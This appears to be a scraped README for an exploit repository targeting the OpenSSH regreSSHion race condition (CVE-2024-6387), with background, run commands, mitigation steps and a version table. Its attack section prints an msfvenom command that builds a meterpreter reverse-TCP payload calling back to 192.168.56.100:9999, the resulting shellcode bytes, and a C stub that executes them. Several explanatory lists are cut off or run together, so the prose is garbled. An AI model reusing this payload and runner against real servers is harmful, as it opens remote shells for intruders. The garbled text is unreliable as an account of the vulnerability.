
EXPLOIT CVE-2024-6387
Tool for analysis, detection and controlled testing of the CVE-2024-6387 vulnerability in OpenSSH servers.
This repository is exclusively educational.
Use it only on:
- Labs (HTB, TryHackMe)
- Personal environments
- Audits with explicit authorization
⚠️ Scanning or exploiting systems without permission is illegal.
This content is intended for defense and learning.
CVE-2024-6387, known as regreSSHion, is a regression of a vulnerability previously fixed in 2006 (CVE-2006-5051).
It was reintroduced in OpenSSH 8.5p1 (2020) and allows:
There is also a related vulnerability:
The vulnerability is based on a race condition in the sshd signal handler.
LoginGraceTime (default: 120s)SIGALRM signal is triggeredsyslog()malloc()free()This can cause:
🛡️ OpenBSD is not vulnerable thanks to additional protections implemented since 2001.
![]()
python3 exploit.py
python3 scanner.py <IP> -p 22
```bash
# Generating a shellcode
$ msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.56.100 LPORT=9999 -f c
[-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 130 bytes
Final size of c file: 574 bytes
unsigned char buf[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
#include <stdio.h>
// A placeholder of your custom payload
const char shellcode[] =
"\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9"
"\x6a\x22\x41\x5a\x6a\x07\x5a\x0f\x05\x48\x85\xc0\x78\x51"
"\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01"
"\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00"
"\x27\x0f\xc0\xa8\x38\x64\x51\x48\x89\xe6\x6a\x10\x5a\x6a"
"\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74"
"\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31"
"\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58"
"\x6a\x01\x5f\x0f\x05\x5e\x6a\x7e\x5a\x0f\x05\x48\x85\xc0"
"\x78\xed\xff\xe6";
int main() {
// Execute shellcode
printf("Executing shellcode...\n");
void (*sc)() = (void(*)())shellcode;
sc();
return 0;
}
#include <stdio.h>
#define MAX_PACKET_SIZE (256 * 1024)
#define LOGIN_GRACE_TIME 120
#define MAX_STARTUPS 100
#define CHUNK_ALIGN(s) (((s) + 15) & ~15)
🛠️ Mitigation and Remediation The following steps are recommended urgently, especially for Internet-exposed assets:
Immediate Update: Upgrade to OpenSSH 9.8p1 or apply distribution-specific patches.
sshd Configuration: If immediate update is not feasible, set LoginGraceTime 0 in the /etc/ssh/sshd_config file.
Warning: This prevents RCE, but exposes the server to a denial of service (DoS) due to connection exhaustion.
Access Control: Limit SSH access through network-based controls (Firewalls/VPN) and network segmentation to prevent lateral movement.
Kaleth Corcho
Systems Engineering · WolvesTI · Bogotá, Colombia
| Status | Versions | Notes |
|---|
| ⚠️ Vulnerable | < 4.4p1 | If missing old patch |
| ✅ Safe | 4.4p1 → < 8.5p1 | Previously fixed |
| ⚠️ Vulnerable | 8.5p1 → < 9.8p1 | Regression present |
| ✅ Fixed | >= 9.8p1 | Official patch |